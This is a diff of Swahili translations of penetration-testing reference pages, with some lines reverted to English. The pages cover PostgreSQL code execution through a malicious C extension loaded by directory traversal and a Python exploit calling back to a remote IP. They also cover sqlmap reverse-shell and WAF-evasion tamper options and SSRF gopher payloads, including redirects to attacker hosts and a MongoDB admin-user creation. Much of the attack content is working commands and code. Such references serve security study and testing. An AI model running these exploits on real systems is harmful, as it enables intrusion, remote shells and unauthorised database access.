Tangu toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
#### Jenga maktaba
@ -90,7 +90,7 @@ Pata toleo la PsotgreSQL kwa:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Kwa ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kukusanya maktaba na toleo lolote ndani ya mfululizo wa 9.6.x kunapaswa kuhakikisha uunganisho wa mafanikio.
Kwa ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kukusanya maktaba na toleo lolote ndani ya safu ya 9.6.x kunapaswa kuhakikisha uunganisho wa mafanikio.
Ili kufunga toleo hilo katika mfumo wako:
```bash
@ -262,7 +262,7 @@ Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `sup
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
Ukatili mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** hadi kwenye directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
Ukiukaji mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
#### Mchakato wa shambulio
@ -272,16 +272,16 @@ Kwanza kabisa unahitaji **kutumia vitu vikubwa kupakia dll**. Unaweza kuona jins
big-binary-files-upload-postgresql.md
{{#endref}}
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji kwa:
Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji na:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Kumbuka kwamba huwezi kuongezea kiambatisho cha `.dll` kwani kazi ya kuunda itakiweka._
_Note that you don't need to append the `.dll` extension as the create function will add it._
Kwa maelezo zaidi **soma**[ **chapisho asilia hapa**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Katika chapisho hilo **hii ilikuwa** [**kanuni iliyotumika kuunda upanuzi wa postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya upanuzi wa postgres soma toleo lolote la awali_).\
Katika ukurasa huo huo **kuvunjia** hii mbinu ilitolewa:
For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kukusanya nyongeza ya postgres soma toleo lolote la awali_).\
In the same page this **exploit to automate** this technique was given:
```python
#!/usr/bin/env python3
import sys
@ -319,7 +319,7 @@ print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## Marejeleo
## Marejeo
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)

View File

@ -12,26 +12,26 @@ Unaweza **kuzipata zinafanya kazi**:
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. Hizi ni lugha ambazo ikiwa zimewekwa ni za kuvutia:
Most of the scripting languages you can install in PostgreSQL have **2 flavours**: the **trusted** and the **untrusted**. The **untrusted** will have a name **ended in "u"** and will be the version that will allow you to **execute code** and use other interesting functions. This are languages that if installed are interesting:
- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ... (lugha nyingine yoyote ya programu inayotumia toleo lisilo salama)
- ... (any other programming language using an insecure version)
> [!WARNING]
> Ikiwa unapata kwamba lugha ya kuvutia ime **wekwa** lakini **haikubaliki** na PostgreSQL (**`lanpltrusted`** ni **`false`**) unaweza kujaribu ku **aminisha** kwa mstari ufuatao ili hakuna vizuizi vitakavyotumika na PostgreSQL:
> If you find that an interesting language is **installed** but **untrusted** by PostgreSQL (**`lanpltrusted`** is **`false`**) you can try to **trust it** with the following line so no restrictions will be applied by PostgreSQL:
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # Ili kuangalia ruhusa zako juu ya jedwali pg_language
> # To check your permissions over the table pg_language
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```
> [!CAUTION]
> Ikiwa huoni lugha, unaweza kujaribu kuipakia na (**unahitaji kuwa superadmin**):
> If you don't see a language, you could try to load it with (**you need to be superadmin**):
>
> ```
> CREATE EXTENSION plpythonu;
@ -41,7 +41,7 @@ Most of the scripting languages you can install in PostgreSQL have **2 flavours*
> CREATE EXTENSION plrubyu;
> ```
Kumbuka kwamba inawezekana kukusanya toleo salama kama "lisilo salama". Angalia [**hii**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) kwa mfano. Hivyo kila wakati inafaa kujaribu ikiwa unaweza kuendesha msimbo hata kama unapata tu toleo la **trusted**.
Note that it's possible to compile the secure versions as "unsecure". Check [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) for example. So it's always worth trying if you can execute code even if you only find installed the **trusted** one.
## plpythonu/plpython3u

View File

@ -83,7 +83,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki
## Tembelea tovuti kwa SQLmap na kujiendesha kiotomatiki
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -113,51 +113,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
| Tamper | Maelezo |
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Hubadilisha herufi ya apostrofi na sawa yake ya UTF-8 yenye upana kamili |
| apostrophenullencode.py | Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya double unicode |
| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili |
| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
| base64encode.py | Base64 herufi zote katika payload iliyotolewa |
| between.py | Hubadilisha opereta kubwa zaidi \('&gt;'\) na 'SIO KATI YA 0 NA \#' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' |
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT\(A, B\)' na 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' |
| escapequotes.py | Huondoa kukimbia nukuu \(' na "\) |
| greatest.py | Hubadilisha opereta kubwa zaidi \('&gt;'\) na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Inajumuisha swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Inajumuisha swali kamili na maoni yasiyo na toleo |
| greatest.py | Hubadilisha opereta kubwa zaidi \('&gt;'\) na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Inajumuisha swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Inajumuisha swali kamili na maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Huongeza alama ya asilimia \('%'\) mbele ya kila herufi |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizotangulia kusimbwa\) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya nasibu |
| randomcomments.py | Ongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni |
| space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2hash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2morehash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqldash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) |
| space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na |
| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na |
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Ongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Inajumuisha kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Inajumuisha kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
| xforwardedfor.py | Ongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Msingi wa hoja za maelekezo kwa SQLmap
## Misingi ya hoja za SQLmap
### Kawaida
```bash
@ -114,7 +114,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Soma chapisho hili** ](second-order-injection-sqlmap.md)**kuhusu jinsi ya kufanya sindano za pili rahisi na ngumu na sqlmap.**
[**Soma chapisho hili** ](second-order-injection-sqlmap.md)**kuhusu jinsi ya kufanya sindano za pili rahisi na ngumu kwa kutumia sqlmap.**
## Kubadilisha Sindano
@ -142,50 +142,50 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahis
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Hubadilisha herufi ya apostrofi na sawa yake ya UTF-8 yenye upana kamili |
| apostrophenullencode.py | Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya double unicode |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyokodishwa mwishoni mwa payload |
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
| between.py | Hubadilisha opereta kubwa kuliko ('>') na 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A FROM B FOR C)' |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
| base64encode.py | Base64 herufi zote katika payload iliyotolewa |
| between.py | Hubadilisha opereta kubwa zaidi ('>') na 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A FROM B FOR C)' |
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizokodishwa katika payload iliyotolewa (sio kusindika zilizokodishwa tayari). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizokodishwa katika payload iliyotolewa (sio kusindika zilizokodishwa tayari). "\u0022" |
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE' |
| escapequotes.py | Huondoa kukwama kwa nukuu (' na ") |
| greatest.py | Hubadilisha opereta kubwa kuliko ('>') na sawa yake ya 'GREATEST' |
| escapequotes.py | Huondoa slashi herufi za nukuu (' na ") |
| greatest.py | Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Huongeza swali kamili na maoni yenye toleo |
| modsecurityzeroversioned.py | Huongeza swali kamili na maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (e.g. .replace("SELECT", "")) filters |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Huongeza maoni yenye toleo kwa swali lote |
| modsecurityzeroversioned.py | Huongeza maoni yasiyo na toleo kwa swali lote |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (e.g. .replace("SELECT", "")) filters |
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi nasibu |
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya random |
| randomcomments.py | Huongeza maoni ya random kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| space2comment.py | Hubadilisha herufi ya nafasi (' ') na maoni |
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama (&& na |
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Hubadilisha herufi ya nukuu (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Huongeza kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huongeza kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha uwongo cha HTTP 'X-Forwarded-For' |
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huweka kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
**SQLMap inaweza kutumia SQLis za Pili.**\
Unahitaji kutoa:
- **ombile** ambapo **payload ya sqlinjection** itahifadhiwa
- **ombile** ambapo **payload** itatekelezwa
- **ombio** ambapo **payload ya sqlinjection** itahifadhiwa
- **ombio** ambapo **payload** itatekelezwa
Ombile ambapo payload ya SQL injection inahifadhiwa **inaonyeshwa kama katika injection nyingine yoyote katika sqlmap**. Ombile **ambapo sqlmap inaweza kusoma matokeo/utekelezaji** wa injection linaweza kuonyeshwa kwa `--second-url` au kwa `--second-req` ikiwa unahitaji kuonyesha ombile kamili kutoka kwa faili.
Ombio ambapo payload ya SQL injection inahifadhiwa ni **imeonyeshwa kama katika injection nyingine yoyote katika sqlmap**. Ombio **ambapo sqlmap inaweza kusoma matokeo/utekelezaji** wa injection inaweza kuonyeshwa kwa `--second-url` au kwa `--second-req` ikiwa unahitaji kuonyesha ombio kamili kutoka kwa faili.
**Mfano rahisi wa pili:**
```bash
@ -50,8 +50,8 @@ A **SQLMap tamper daima inatekelezwa kabla ya kuanza jaribio la kuingiza na payl
Hivyo, ikiwa kwa sababu fulani tunahitaji mtiririko wa hali ngumu zaidi ili kutumia kuingiza SQL ya pili kama:
- Kuunda akaunti yenye payload ya SQLi ndani ya uwanja wa "email"
- Kutoka
- Unda akaunti yenye payload ya SQLi ndani ya uwanja wa "email"
- Toka
- Ingia na akaunti hiyo (login.txt)
- Tuma ombi kutekeleza kuingiza SQL (second.txt)

View File

@ -46,7 +46,7 @@ Soma zaidi hapa: [https://portswigger.net/web-security/ssrf](https://portswigger
- **LDAP://**
- Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Katalogi Nyepesi, ikisisitiza matumizi yake katika kusimamia na kufikia huduma za habari za katalogi zilizogawanywa kupitia mitandao ya IP. Shughulika na seva ya LDAP kwenye localhost: `'%0astats%0aquit' kupitia ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- Njia inaelezewa kwa kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufichua majina ya kikoa cha ndani na hatua zaidi za uchunguzi kulingana na habari hiyo.
- Njia inaelezewa kwa kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufichua majina ya kikoa cha ndani na hatua za uchunguzi zaidi kulingana na habari hiyo.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -60,11 +60,11 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- Uwezo wa itifaki ya Gopher wa kubainisha IP, bandari, na bytes kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa ajili ya kutunga payloads. Matumizi mawili tofauti yanaonyeshwa:
- Uwezo wa itifaki ya Gopher wa kubaini IP, bandari, na bytes kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa ajili ya kutunga payloads. Matumizi mawili tofauti yanaonyeshwa:
### Gopher://
Kwa kutumia itifaki hii unaweza kubainisha **IP, bandari na bytes** unazotaka seva **itume**. Kisha, unaweza kimsingi kutumia SSRF ili **kuwasiliana na seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma hiyo kwanza).\
Kwa kutumia itifaki hii unaweza kubaini **IP, bandari na bytes** unazotaka seva **itume**. Kisha, unaweza kimsingi kutumia SSRF ili **kuwasiliana na seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma hiyo kwanza).\
Kwa bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutunga payloads kwa huduma kadhaa. Zaidi ya hayo, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutunga _gopher_ payloads kwa huduma za _Java RMI_.
**Gopher smtp**
@ -95,7 +95,7 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
#### Gopher MongoDB -- Unda mtumiaji mwenye jina la mtumiaji=admin na nenosiri=admin123 na ruhusa=meneja
#### Gopher MongoDB -- Unda mtumiaji mwenye jina la mtumiaji=admin na nenosiri=admin123 na ruhusa=administrator
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF kupitia kichwa cha Referrer & Mengineyo
